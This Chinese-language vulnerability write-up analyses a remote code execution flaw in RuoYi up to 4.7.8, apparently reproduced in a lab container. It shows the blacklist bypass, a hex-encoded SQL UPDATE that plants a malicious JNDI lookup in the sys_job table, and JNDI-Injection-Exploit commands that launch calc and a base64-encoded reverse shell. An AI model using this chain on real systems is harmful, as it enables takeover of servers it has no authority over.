文章

RuoYi_v4.7.8_RCE

RuoYi_v4.7.8_RCE

1 漏洞简介

RuoYi是一个后台管理系统,基于经典技术组合(Spring Boot、Apache Shiro、MyBatis、Thymeleaf)主要目的让开发者注重专注业务,降低技术难度,从而节省人力成本,缩短项目周期,提高软件安全质量。

后台定时任务可通过genTableServiceImpl.createTable(sql)执行sql语句修改表内容,通过修改sys_job定时任务表的内容从而将恶意的定时任务写入从而实现JNDI注入RCE

2 影响范围

RuoYi<=4.7.8

3 环境搭建

3.1 导入docker image

1
docker load -i polarvul_ruoyi_4.7.8_rce.tar

3.2 启动容器

1
docker run -d --name ruoyi -p8080:80 ruoyi_4.7.8_rce:polarvul

4 漏洞分析

在增加定时任务时做了许多判断采用了白+黑的方式防止增加恶意调用的定时任务。

image-20240408205552296

RuoYi v4.7.3 开始添加定时任务时采用了白名单,只能调用com.ruoyi包下的类。

image-20240408205330301

但是对恶意类的过滤仅仅只是在增加定时任务和编辑定时任务时,运行时并没有判断是否为恶意调用。

image-20240408210157236

并且定时任务的信息其实是储存在数据库中的。

image-20240408210336402

所以说,如果能够直接修改数据库中的内容,那么绕过了过滤。

com.ruoyi.generator.controller.GenController#create

image-20240408210809527

这块直接调用了genTableService.createTable()

image-20240408211015431

image-20240408211108830

这里可以执行sql语句,并且是在com.ruoyi包下的类,所以可以通过这个点修改数据库中sys_job表中的内容。

1
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target =0x6a617661782e6e............ WHERE job_id = 1;')

其中0x6a61766...是下方的十六进制,因为创建定时任务时不能存在黑名单中的字符串,采用十六进制形式绕过。

1
javax.naming.InitialContext.lookup('ldap://127.0.0.1:1389/deserialCommonsBeanutils1')

创建成功:

image-20240408211752742

点击后面更多操作运行一次后,即可更改job_id为1的定时任务为恶意的定时任务。

image-20240408211955819

定时任务触发JNDI的流程如下:

运行定时任务时进入/run路由下的run方法

image-20240410144533083

然后根据JobId获取到数据库中的定时任务。

image-20240410144753059

triggerJob()方法中:

image-20240410194841005

随后进入jobScheduled()方法:

image-20240410195202833

当来到JobInvokeUtil包下的invokeMethod(SysJob sysJob)方法时,在该方法中会获取beanmethodNamemethodParams

image-20240410195457142

随后就进入invokeMethod(Object bean, String methodName, List<Object[]> methodParams),到这里因为各个参数我们都可控所以很明显存在JNDI注入漏洞。

1
2
3
4
5
        InitialContext initialContext1 = new InitialContext();
        // 使用反射获取 lookup 方法
        Method lookupMethod = InitialContext.class.getMethod("lookup", String.class);
        // 调用 lookup 方法获取远程对象代理
        Object object1 = lookupMethod.invoke(initialContext, "ldap://127.0.0.1:6666/calc");

image-20240410200150718

5 漏洞复现

启动恶意的LDAP服务:

1
2
# 弹计算器
java -jar JNDI-Injection-Exploit-Plus-2.4-SNAPSHOT-all.jar -C "calc" -A "127.0.0.1"
1
2
# 反弹Shll
java -jar JNDI-Injection-Exploit-Plus-2.4-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+Ji.....}|{base64,-d}|{bash,-i}" -A "127.0.0.1"

通过定时任务sql注入修改数据库中储存的计划任务:

1
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target =0x6a617661782e6e............ WHERE job_id = 1;')

image-20240410202746531

执行后即可触发漏洞。

image-20240410202844076

本文由作者按照 CC BY 4.0 进行授权